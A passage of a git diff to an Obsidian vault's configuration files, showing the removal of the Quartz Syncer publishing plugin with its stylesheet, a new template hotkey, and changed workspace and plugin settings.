3
.obsidian/community-plugins.json
vendored
@@ -3,6 +3,5 @@
|
||||
"dataview",
|
||||
"obsidian-annotator",
|
||||
"pdf-plus",
|
||||
"calendar",
|
||||
"quartz-syncer"
|
||||
"calendar"
|
||||
]
|
||||
2
.obsidian/graph.json
vendored
@@ -17,6 +17,6 @@
|
||||
"repelStrength": 10,
|
||||
"linkStrength": 1,
|
||||
"linkDistance": 250,
|
||||
"scale": 0.7132754626224411,
|
||||
"scale": 0.7132754626224402,
|
||||
"close": true
|
||||
}
|
||||
10
.obsidian/hotkeys.json
vendored
Executable file
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"insert-template": [
|
||||
{
|
||||
"modifiers": [
|
||||
"Alt"
|
||||
],
|
||||
"key": "T"
|
||||
}
|
||||
]
|
||||
}
|
||||
0
.obsidian/plugins/calendar/data.json
vendored
Normal file → Executable file
0
.obsidian/plugins/calendar/main.js
vendored
Normal file → Executable file
0
.obsidian/plugins/calendar/manifest.json
vendored
Normal file → Executable file
2
.obsidian/plugins/copilot/data.json
vendored
Normal file → Executable file
@@ -22,7 +22,7 @@
|
||||
"siliconflowApiKey": "",
|
||||
"githubCopilotAccessToken": "",
|
||||
"githubCopilotToken": "",
|
||||
"githubCopilotTokenExpiresAt": 1780499501000,
|
||||
"githubCopilotTokenExpiresAt": 1780523791000,
|
||||
"defaultChainType": "llm_chain",
|
||||
"defaultModelKey": "google/gemini-2.5-flash|openrouterai",
|
||||
"embeddingModelKey": "openai/text-embedding-3-small|openrouterai",
|
||||
|
||||
0
.obsidian/plugins/copilot/main.js
vendored
Normal file → Executable file
0
.obsidian/plugins/copilot/manifest.json
vendored
Normal file → Executable file
0
.obsidian/plugins/copilot/styles.css
vendored
Normal file → Executable file
50
.obsidian/plugins/quartz-syncer/data.json
vendored
@@ -1,50 +0,0 @@
|
||||
{
|
||||
"git": {
|
||||
"remoteUrl": "",
|
||||
"branch": "v4",
|
||||
"corsProxyUrl": "",
|
||||
"auth": {
|
||||
"type": "basic",
|
||||
"username": ""
|
||||
},
|
||||
"providerHint": "github"
|
||||
},
|
||||
"vaultPath": "/",
|
||||
"contentFolder": "content",
|
||||
"publishFrontmatterKey": "publish",
|
||||
"allNotesPublishableByDefault": false,
|
||||
"showCreatedTimestamp": true,
|
||||
"showUpdatedTimestamp": true,
|
||||
"showPublishedTimestamp": false,
|
||||
"usePermalink": false,
|
||||
"includeAllFrontmatter": false,
|
||||
"frontmatterFormat": "yaml",
|
||||
"createdTimestampKey": "created, created_at, date",
|
||||
"updatedTimestampKey": "modified, lastmod, updated, last-modified",
|
||||
"publishedTimestampKey": "published, publishDate, date",
|
||||
"timestampFormat": "MMM dd, yyyy h:mm a",
|
||||
"useCache": true,
|
||||
"syncCache": true,
|
||||
"persistCache": false,
|
||||
"cacheTimestamp": 0,
|
||||
"cache": "{}",
|
||||
"useAutoCardLink": false,
|
||||
"useDataview": true,
|
||||
"useDatacore": false,
|
||||
"useExcalidraw": false,
|
||||
"useFantasyStatblocks": false,
|
||||
"useBases": false,
|
||||
"useCanvas": false,
|
||||
"manageSyncerStyles": true,
|
||||
"lastUsedSettingsTab": "git",
|
||||
"noteSettingsIsInitialized": true,
|
||||
"pluginVersion": "1.15.3",
|
||||
"lastUpstreamCommitSha": "",
|
||||
"upgradeCheckStrategy": "version",
|
||||
"diffViewStyle": "auto",
|
||||
"ENABLE_DEVELOPER_TOOLS": false,
|
||||
"logLevel": {
|
||||
"value": 99,
|
||||
"name": "OFF"
|
||||
}
|
||||
}
|
||||
1297
.obsidian/plugins/quartz-syncer/main.js
vendored
15
.obsidian/plugins/quartz-syncer/manifest.json
vendored
@@ -1,15 +0,0 @@
|
||||
{
|
||||
"id": "quartz-syncer",
|
||||
"name": "Quartz Syncer",
|
||||
"version": "1.15.3",
|
||||
"minAppVersion": "1.12.4",
|
||||
"description": "Manage and publish your notes to Quartz, the fast, batteries-included static-site generator.",
|
||||
"author": "Emile Bangma",
|
||||
"authorUrl": "https://github.com/saberzero1",
|
||||
"fundingUrl": {
|
||||
"Buy Me a Coffee": "https://buymeacoffee.com/saberzero1",
|
||||
"GitHub Sponsor": "https://github.com/sponsors/saberzero1",
|
||||
"Ko-Fi": "https://ko-fi.com/saberzero1"
|
||||
},
|
||||
"isDesktopOnly": false
|
||||
}
|
||||
719
.obsidian/plugins/quartz-syncer/styles.css
vendored
@@ -1,719 +0,0 @@
|
||||
/* Quartz Syncer Publication Center */
|
||||
.quartz-syncer-publisher-title-separator {
|
||||
margin-top: 0;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.quartz-syncer-publisher-footer-separator {
|
||||
margin-top: 15px;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.quartz-syncer-publisher-footer {
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
position: sticky;
|
||||
bottom: 0;
|
||||
}
|
||||
|
||||
.quartz-syncer-publisher-loading-msg {
|
||||
font-size: var(--font-ui-larger);
|
||||
display: flex;
|
||||
flex-grow: 0; /* Prevnets the loading message from stretching the container */
|
||||
align-items: center;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.quartz-syncer-progress-bar-text {
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
button.quartz-syncer-publisher-button {
|
||||
background-color: var(--interactive-accent);
|
||||
color: var(--text-on-accent);
|
||||
cursor: var(--cursor);
|
||||
font-weight: var(--font-bold);
|
||||
}
|
||||
|
||||
.quartz-syncer-publisher-loading-container {
|
||||
width: 100%;
|
||||
height: 5px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.quartz-syncer-publisher-loading-bar {
|
||||
background-color: var(--interactive-accent);
|
||||
height: 100%;
|
||||
transition: all 0.5s ease-in-out;
|
||||
}
|
||||
|
||||
.quartz-syncer-publisher-published {
|
||||
color: var(--text-success, var(--color-green));
|
||||
}
|
||||
|
||||
.quartz-syncer-publisher-deleted {
|
||||
color: var(--text-error, var(--color-red));
|
||||
}
|
||||
|
||||
/* Quartz Syncer Diff View */
|
||||
.quartz-syncer-diff-modal {
|
||||
max-width: var(--modal-max-width, 100%);
|
||||
width: var(--modal-width, 100%);
|
||||
}
|
||||
|
||||
body.is-mobile .quartz-syncer-diff-modal {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
body.is-mobile .quartz-syncer-diff-view-container {
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
pre.quartz-syncer-diff-view {
|
||||
display: block;
|
||||
white-space: pre;
|
||||
overflow-wrap: break-word;
|
||||
width: fit-content;
|
||||
}
|
||||
|
||||
pre.quartz-syncer-diff-view.quartz-syncer-diff-added {
|
||||
background-color: rgb(
|
||||
var(--background-modifier-success-rgb, var(--color-green-rgb)),
|
||||
0.5
|
||||
);
|
||||
color: var(--text-on-accent);
|
||||
}
|
||||
|
||||
pre.quartz-syncer-diff-view.quartz-syncer-diff-removed {
|
||||
background-color: rgb(
|
||||
var(--background-modifier-error-rgb, var(--color-red-rgb)),
|
||||
0.5
|
||||
);
|
||||
color: var(--text-on-accent);
|
||||
}
|
||||
|
||||
.quartz-syncer-diff-line {
|
||||
white-space: pre;
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
|
||||
.quartz-syncer-diff-line-added {
|
||||
background-color: var(--text-success, var(--color-green));
|
||||
color: var(--text-on-accent);
|
||||
text-decoration: overline;
|
||||
}
|
||||
|
||||
.quartz-syncer-diff-line-removed {
|
||||
background-color: var(--text-error, var(--color-red));
|
||||
color: var(--text-on-accent);
|
||||
text-decoration: line-through;
|
||||
}
|
||||
|
||||
/* Quartz Syncer Tree Selectors */
|
||||
.quartz-syncer-modal-content ul {
|
||||
margin: 0;
|
||||
list-style: none;
|
||||
padding-left: 1.2rem;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.quartz-syncer-modal-content li {
|
||||
margin: 0.2rem 0;
|
||||
}
|
||||
|
||||
.quartz-syncer-modal-content .no-arrow {
|
||||
padding-left: calc(var(--icon-size) + 2px);
|
||||
}
|
||||
|
||||
.quartz-syncer-modal-content .arrow {
|
||||
cursor: var(--cursor);
|
||||
display: inline-block;
|
||||
transition: transform 200ms;
|
||||
}
|
||||
|
||||
/* arrowDown svelte variable */
|
||||
.quartz-syncer-modal-content .arrowDown {
|
||||
transform: rotate(90deg);
|
||||
}
|
||||
|
||||
/* isRoot svelte variable */
|
||||
.quartz-syncer-modal-content ul.isRoot {
|
||||
padding-left: 0;
|
||||
}
|
||||
|
||||
.quartz-syncer-modal-content .root-header {
|
||||
font-weight: var(--font-bold);
|
||||
font-size: var(--font-ui-larger);
|
||||
}
|
||||
|
||||
input:indeterminate {
|
||||
background-color: var(--checkbox-color);
|
||||
border-color: var(--checkbox-color);
|
||||
}
|
||||
|
||||
input[type="checkbox"]:indeterminate::after {
|
||||
content: "";
|
||||
top: -1px;
|
||||
left: -1px;
|
||||
position: absolute;
|
||||
width: var(--checkbox-size);
|
||||
height: var(--checkbox-size);
|
||||
display: block;
|
||||
background-color: var(--checkbox-marker-color);
|
||||
mask-position: 52% 52%;
|
||||
mask-size: 65%;
|
||||
mask-repeat: no-repeat;
|
||||
mask-image: url('data:image/svg+xml; utf8,<svg fill="none" width="12px" height="12px" viewBox="0 0 32 32" id="icon" xmlns="http://www.w3.org/2000/svg"><rect fill="%23000000" x="4" y="4" width="24" height="24"/></svg>');
|
||||
}
|
||||
|
||||
.quartz-syncer-icon-diff {
|
||||
cursor: var(--cursor);
|
||||
display: inline-block;
|
||||
margin-left: 4px;
|
||||
}
|
||||
|
||||
/* File type badges */
|
||||
.quartz-syncer-file-badge {
|
||||
font-size: 9px;
|
||||
font-weight: var(--font-bold);
|
||||
padding: 1px 4px;
|
||||
border-radius: var(--radius-s);
|
||||
margin-left: 6px;
|
||||
text-transform: uppercase;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.quartz-syncer-badge-base {
|
||||
background-color: rgb(var(--color-purple-rgb, 147, 51, 234), 0.2);
|
||||
color: var(--text-accent, var(--color-purple, #9333ea));
|
||||
border: 1px solid rgb(var(--color-purple-rgb, 147, 51, 234), 0.3);
|
||||
}
|
||||
|
||||
.quartz-syncer-badge-canvas {
|
||||
background-color: rgb(var(--color-cyan-rgb, 6, 182, 212), 0.2);
|
||||
color: var(--text-accent, var(--color-cyan, #06b6d4));
|
||||
border: 1px solid rgb(var(--color-cyan-rgb, 6, 182, 212), 0.3);
|
||||
}
|
||||
|
||||
/* Quartz Syncer Settings */
|
||||
|
||||
.quartz-syncer-settings button:disabled,
|
||||
.quartz-syncer-publish-status-view button:disabled {
|
||||
pointer-events: none;
|
||||
opacity: 0.4;
|
||||
}
|
||||
|
||||
.quartz-syncer-publish-status-view ul {
|
||||
list-style-type: none;
|
||||
position: relative;
|
||||
margin-left: 5px;
|
||||
margin-top: 0;
|
||||
max-height: 250px;
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
.quartz-syncer-publish-status-view h2 {
|
||||
margin-top: 0;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.quartz-syncer-publish-status-view .collapsable {
|
||||
cursor: var(--cursor);
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.quartz-syncer-settings-enabled
|
||||
> .setting-item-info
|
||||
> .setting-item-name::after {
|
||||
content: " (plugin enabled)";
|
||||
color: var(--text-success, var(--color-green));
|
||||
font-weight: var(--font-bold);
|
||||
}
|
||||
|
||||
.quartz-syncer-settings-disabled > .setting-item-info > .setting-item-name {
|
||||
color: var(--text-error, var(--color-red));
|
||||
}
|
||||
|
||||
.quartz-syncer-settings-disabled
|
||||
> .setting-item-info
|
||||
> .setting-item-name::after {
|
||||
content: " (plugin disabled)";
|
||||
color: var(--text-error, var(--color-red));
|
||||
font-weight: var(--font-bold);
|
||||
}
|
||||
|
||||
.quartz-syncer-settings-disabled > .setting-item-control > .checkbox-container {
|
||||
background-color: var(--text-error, var(--color-red));
|
||||
}
|
||||
|
||||
.quartz-syncer-settings .setting-item-heading {
|
||||
margin-top: var(--heading-spacing);
|
||||
}
|
||||
|
||||
.quartz-syncer-settings-description {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.quartz-syncer-settings .svg-icon {
|
||||
margin-right: 10px;
|
||||
}
|
||||
|
||||
.quartz-syncer-navigation-item-icon > svg.svg-icon {
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
.quartz-syncer-svg-icon {
|
||||
margin-right: 4px;
|
||||
}
|
||||
|
||||
/* GitHub connection status */
|
||||
.quartz-syncer-connection-status {
|
||||
font-weight: var(--font-bold);
|
||||
}
|
||||
|
||||
.quartz-syncer-connection-status-failed {
|
||||
color: var(--text-error, var(--color-red));
|
||||
}
|
||||
|
||||
.quartz-syncer-connection-status-success {
|
||||
color: var(--text-success, var(--color-green));
|
||||
}
|
||||
|
||||
.quartz-syncer-connection-status-pending {
|
||||
color: var(--text-warning, var(--color-orange));
|
||||
}
|
||||
|
||||
/* Cog animation */
|
||||
@keyframes quartz-syncer-rotate-animation {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.quartz-syncer-rotate {
|
||||
animation: quartz-syncer-rotate-animation 4s linear infinite;
|
||||
}
|
||||
|
||||
.quartz-syncer-cog {
|
||||
margin-left: 3px;
|
||||
}
|
||||
|
||||
.quartz-syncer-cog-big {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
}
|
||||
|
||||
/* Progress bar */
|
||||
.quartz-syncer-progress-bar-container {
|
||||
width: 100%;
|
||||
height: 40px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
/* Publication center */
|
||||
|
||||
.quartz-syncer-modal-content:first-child {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
/* Folder select */
|
||||
.quartz-syncer-settings .search-input-container::before {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.quartz-syncer-settings .search-input-container input {
|
||||
padding-inline-start: 0;
|
||||
padding: 4px 8px;
|
||||
}
|
||||
|
||||
.quartz-syncer-settings.quartz-syncer-desktop .search-input-container input {
|
||||
width: unset;
|
||||
}
|
||||
|
||||
/* Settings tabs */
|
||||
.quartz-syncer-navigation-item {
|
||||
cursor: var(--cursor);
|
||||
border: var(--border-width) solid var(--background-modifier-border);
|
||||
border-radius: var(--radius-m) var(--radius-m) var(--radius-s)
|
||||
var(--radius-s);
|
||||
font-weight: var(--font-bold);
|
||||
font-size: var(--font-text-size);
|
||||
display: flex;
|
||||
flex-shrink: 0;
|
||||
flex-direction: row;
|
||||
white-space: nowrap;
|
||||
padding: 4px 6px;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
overflow: hidden;
|
||||
background-color: var(--background-secondary-alt);
|
||||
transition:
|
||||
color 0.25s ease-in-out,
|
||||
padding 0.25s ease-in-out,
|
||||
background-color 0.35s cubic-bezier(0.45, 0.25, 0.83, 0.67),
|
||||
max-width 0.35s cubic-bezier(0.57, 0.04, 0.58, 1);
|
||||
height: 32px;
|
||||
}
|
||||
|
||||
@media screen and (width <= 1325px) {
|
||||
.quartz-syncer-navigation-item.quartz-syncer-desktop {
|
||||
max-width: 32px;
|
||||
}
|
||||
}
|
||||
|
||||
@media screen and (width <= 800px) {
|
||||
.quartz-syncer-navigation-item.quartz-syncer-mobile {
|
||||
max-width: 32px;
|
||||
}
|
||||
}
|
||||
|
||||
.quartz-syncer-navigation-item-icon,
|
||||
.quartz-syncer-warning {
|
||||
padding-top: 5px;
|
||||
}
|
||||
|
||||
.quartz-syncer-navigation-item:hover {
|
||||
border-color: var(--interactive-accent-hover);
|
||||
border-bottom: 0;
|
||||
}
|
||||
|
||||
.quartz-syncer-navigation-item.quartz-syncer-navigation-item-active {
|
||||
background-color: var(--interactive-accent);
|
||||
color: var(--text-on-accent);
|
||||
padding: 4px 9px;
|
||||
max-width: 100%;
|
||||
border: var(--border-width) solid var(--background-modifier-border);
|
||||
border-radius: var(--radius-m) var(--radius-m) var(--radius-s)
|
||||
var(--radius-s);
|
||||
border-bottom: 0;
|
||||
transition:
|
||||
color 0.25s ease-in-out,
|
||||
padding 0.25s ease-in-out,
|
||||
background-color 0.35s cubic-bezier(0.45, 0.25, 0.83, 0.67),
|
||||
max-width 0.45s cubic-bezier(0.57, 0.04, 0.58, 1) 0.2s;
|
||||
}
|
||||
|
||||
.quartz-syncer-settings {
|
||||
transition: transform 400ms 0s;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-title {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
gap: 30px;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-title.quartz-syncer-mobile {
|
||||
justify-content: space-around;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-title h1 {
|
||||
font-weight: 900;
|
||||
margin-top: 6px;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-header {
|
||||
margin-bottom: 24px;
|
||||
overflow: auto hidden;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-header .quartz-syncer-setting-tab-group {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
overflow-x: auto;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-tab-group {
|
||||
margin-top: 6px;
|
||||
padding-left: 2px;
|
||||
padding-right: 2px;
|
||||
border-bottom: var(--border-width) solid var(--background-modifier-border);
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-header .quartz-syncer-tab-settings {
|
||||
padding: 6px 12px;
|
||||
font-weight: 600;
|
||||
cursor: var(--cursor);
|
||||
white-space: nowrap;
|
||||
border-left: var(--border-width) solid var(--background-modifier-border);
|
||||
border-right: var(--border-width) solid var(--background-modifier-border);
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-header .quartz-syncer-tab-settings:first-child {
|
||||
margin-left: 6px;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-header
|
||||
.quartz-syncer-tab-settings.quartz-syncer-tab-settings-active {
|
||||
border-bottom: var(--border-width) solid var(--background-primary);
|
||||
transform: translateY(2px);
|
||||
border-radius: var(--radius-s);
|
||||
border-left: var(--border-width) solid var(--background-modifier-border);
|
||||
border-top: var(--border-width) solid var(--background-modifier-border);
|
||||
border-right: var(--border-width) solid var(--background-modifier-border);
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-content
|
||||
.quartz-syncer-tab-settings.quartz-syncer-tab-settings-active {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.quartz-syncer-setting-content
|
||||
.quartz-syncer-tab-settings:not(.quartz-syncer-tab-settings-active) {
|
||||
display: none;
|
||||
}
|
||||
|
||||
body.is-phone
|
||||
.quartz-syncer-navigation-item:not(.quartz-syncer-navigation-item-active)
|
||||
> span:nth-child(2),
|
||||
body.is-tablet
|
||||
.quartz-syncer-navigation-item:not(.quartz-syncer-navigation-item-active)
|
||||
> span:nth-child(2),
|
||||
body.is-mobile
|
||||
.quartz-syncer-navigation-item:not(.quartz-syncer-navigation-item-active)
|
||||
> span:nth-child(2) {
|
||||
border: 0;
|
||||
height: 1px;
|
||||
margin: -1px;
|
||||
overflow: hidden;
|
||||
padding: 0;
|
||||
position: absolute;
|
||||
width: 1px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
/* Token/Secret Storage UI */
|
||||
.quartz-syncer-token-container {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.quartz-syncer-token-status {
|
||||
font-size: var(--font-ui-smaller);
|
||||
padding: 4px 8px;
|
||||
border-radius: var(--radius-s);
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
.quartz-syncer-token-status::before {
|
||||
content: "";
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 50%;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.quartz-syncer-token-status-set {
|
||||
background-color: rgb(var(--color-green-rgb), 0.15);
|
||||
color: var(--text-success, var(--color-green));
|
||||
}
|
||||
|
||||
.quartz-syncer-token-status-set::before {
|
||||
background-color: var(--text-success, var(--color-green));
|
||||
}
|
||||
|
||||
.quartz-syncer-token-status-unset {
|
||||
background-color: rgb(var(--color-orange-rgb), 0.15);
|
||||
color: var(--text-warning, var(--color-orange));
|
||||
}
|
||||
|
||||
.quartz-syncer-token-status-unset::before {
|
||||
background-color: var(--text-warning, var(--color-orange));
|
||||
}
|
||||
|
||||
.quartz-syncer-token-input-container {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.quartz-syncer-token-input {
|
||||
flex: 1;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--background-modifier-border);
|
||||
border-radius: var(--radius-s);
|
||||
background-color: var(--background-primary);
|
||||
color: var(--text-normal);
|
||||
font-family: var(--font-monospace);
|
||||
}
|
||||
|
||||
.quartz-syncer-token-input:focus {
|
||||
border-color: var(--interactive-accent);
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.quartz-syncer-token-toggle {
|
||||
padding: 6px;
|
||||
border: none;
|
||||
background: transparent;
|
||||
cursor: var(--cursor);
|
||||
color: var(--text-muted);
|
||||
border-radius: var(--radius-s);
|
||||
}
|
||||
|
||||
.quartz-syncer-token-toggle:hover {
|
||||
color: var(--text-normal);
|
||||
background-color: var(--background-modifier-hover);
|
||||
}
|
||||
|
||||
.quartz-syncer-token-buttons {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.quartz-syncer-token-buttons button {
|
||||
padding: 6px 12px;
|
||||
border-radius: var(--radius-s);
|
||||
cursor: var(--cursor);
|
||||
font-size: var(--font-ui-small);
|
||||
}
|
||||
|
||||
/* Plugin Browser Modal */
|
||||
.quartz-syncer-plugin-browser {
|
||||
width: 700px;
|
||||
max-width: 90vw;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser .modal-content {
|
||||
max-height: 70vh;
|
||||
overflow-y: auto;
|
||||
padding: 0 16px 16px;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-loading {
|
||||
text-align: center;
|
||||
color: var(--text-muted);
|
||||
padding: 24px 0;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-controls {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
margin-bottom: 12px;
|
||||
position: sticky;
|
||||
top: 0;
|
||||
background: var(--modal-background);
|
||||
padding: 8px 0;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-search {
|
||||
flex: 1;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--background-modifier-border);
|
||||
border-radius: var(--radius-s);
|
||||
background: var(--background-primary);
|
||||
color: var(--text-normal);
|
||||
font-size: var(--font-ui-small);
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-tag-filter {
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--background-modifier-border);
|
||||
border-radius: var(--radius-s);
|
||||
background: var(--background-primary);
|
||||
color: var(--text-normal);
|
||||
font-size: var(--font-ui-small);
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-empty {
|
||||
text-align: center;
|
||||
color: var(--text-muted);
|
||||
padding: 16px 0;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-card {
|
||||
border: 1px solid var(--background-modifier-border);
|
||||
border-radius: var(--radius-m);
|
||||
padding: 12px;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-card-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-card-name {
|
||||
font-weight: var(--font-bold);
|
||||
font-size: var(--font-ui-medium);
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-badge-official {
|
||||
font-size: var(--font-ui-smaller);
|
||||
color: var(--text-on-accent);
|
||||
background: var(--interactive-accent);
|
||||
padding: 1px 6px;
|
||||
border-radius: var(--radius-s);
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-card-desc {
|
||||
color: var(--text-muted);
|
||||
font-size: var(--font-ui-small);
|
||||
margin: 0 0 8px;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-card-footer {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-card-tags {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-tag {
|
||||
font-size: var(--font-ui-smaller);
|
||||
color: var(--text-muted);
|
||||
background: var(--background-secondary);
|
||||
padding: 1px 6px;
|
||||
border-radius: var(--radius-s);
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-installed {
|
||||
font-size: var(--font-ui-small);
|
||||
color: var(--text-success);
|
||||
font-weight: var(--font-bold);
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-install-btn {
|
||||
padding: 4px 12px;
|
||||
border-radius: var(--radius-s);
|
||||
background: var(--interactive-accent);
|
||||
color: var(--text-on-accent);
|
||||
cursor: var(--cursor);
|
||||
font-size: var(--font-ui-small);
|
||||
font-weight: var(--font-bold);
|
||||
border: none;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.quartz-syncer-plugin-browser-install-btn:disabled {
|
||||
opacity: 0.6;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
117
.obsidian/workspace.json
vendored
@@ -4,21 +4,21 @@
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "17062c8b6bdf7fcc",
|
||||
"id": "6237ac476356142f",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "2d8a7bb35f01217d",
|
||||
"id": "a343377e7b3c097f",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "markdown",
|
||||
"state": {
|
||||
"file": "Index.md",
|
||||
"file": "Dailies/2026-05-29.md",
|
||||
"mode": "source",
|
||||
"source": false
|
||||
},
|
||||
"icon": "lucide-file",
|
||||
"title": "Index"
|
||||
"title": "2026-05-29"
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -53,7 +53,7 @@
|
||||
"state": {
|
||||
"type": "search",
|
||||
"state": {
|
||||
"query": "",
|
||||
"query": "sql joins",
|
||||
"matchingCase": false,
|
||||
"explainSearch": false,
|
||||
"collapseAll": false,
|
||||
@@ -84,7 +84,8 @@
|
||||
"title": "Calendar"
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
"currentTab": 3
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
@@ -104,12 +105,12 @@
|
||||
"state": {
|
||||
"type": "outgoing-link",
|
||||
"state": {
|
||||
"file": "Index.md",
|
||||
"file": "Non Technical/Non Technical MOC.md",
|
||||
"linksCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-going-out",
|
||||
"title": "Outgoing links from Index"
|
||||
"title": "Outgoing links from Non Technical MOC"
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -147,13 +148,13 @@
|
||||
"state": {
|
||||
"type": "outline",
|
||||
"state": {
|
||||
"file": "Index.md",
|
||||
"file": "Non Technical/Non Technical MOC.md",
|
||||
"followCursor": false,
|
||||
"showSearch": false,
|
||||
"searchQuery": ""
|
||||
},
|
||||
"icon": "lucide-list",
|
||||
"title": "Outline of Index"
|
||||
"title": "Outline of Non Technical MOC"
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -165,9 +166,28 @@
|
||||
"icon": "excalidraw-icon",
|
||||
"title": "Excalidraw Sidepanel"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "25f2f0631c046232",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "backlink",
|
||||
"state": {
|
||||
"file": "Career/Security/Cross Site Scripting (XSS).md",
|
||||
"collapseAll": false,
|
||||
"extraContext": false,
|
||||
"sortOrder": "alphabetical",
|
||||
"showSearch": false,
|
||||
"searchQuery": "",
|
||||
"backlinkCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-coming-in",
|
||||
"title": "Backlinks for Cross Site Scripting (XSS)"
|
||||
}
|
||||
}
|
||||
],
|
||||
"currentTab": 4
|
||||
"currentTab": 5
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
@@ -186,58 +206,57 @@
|
||||
"pdf-plus:PDF++: Toggle auto-focus": false,
|
||||
"pdf-plus:PDF++: Toggle auto-paste": false,
|
||||
"bases:Create new base": false,
|
||||
"templates:Insert template": false,
|
||||
"copilot:Open Copilot Chat": false
|
||||
"templates:Insert template": false
|
||||
}
|
||||
},
|
||||
"active": "2d8a7bb35f01217d",
|
||||
"active": "a343377e7b3c097f",
|
||||
"lastOpenFiles": [
|
||||
"Dailies/2026-06-01.md",
|
||||
"Dailies/2026-06-02.md",
|
||||
"Dailies/2026-06-03.md",
|
||||
"Career/Output Encoding.md",
|
||||
"copilot/copilot-custom-prompts/Clip Web Page.md",
|
||||
"copilot/copilot-custom-prompts/Clip YouTube Transcript.md",
|
||||
"copilot/copilot-custom-prompts/Rewrite as tweet thread.md",
|
||||
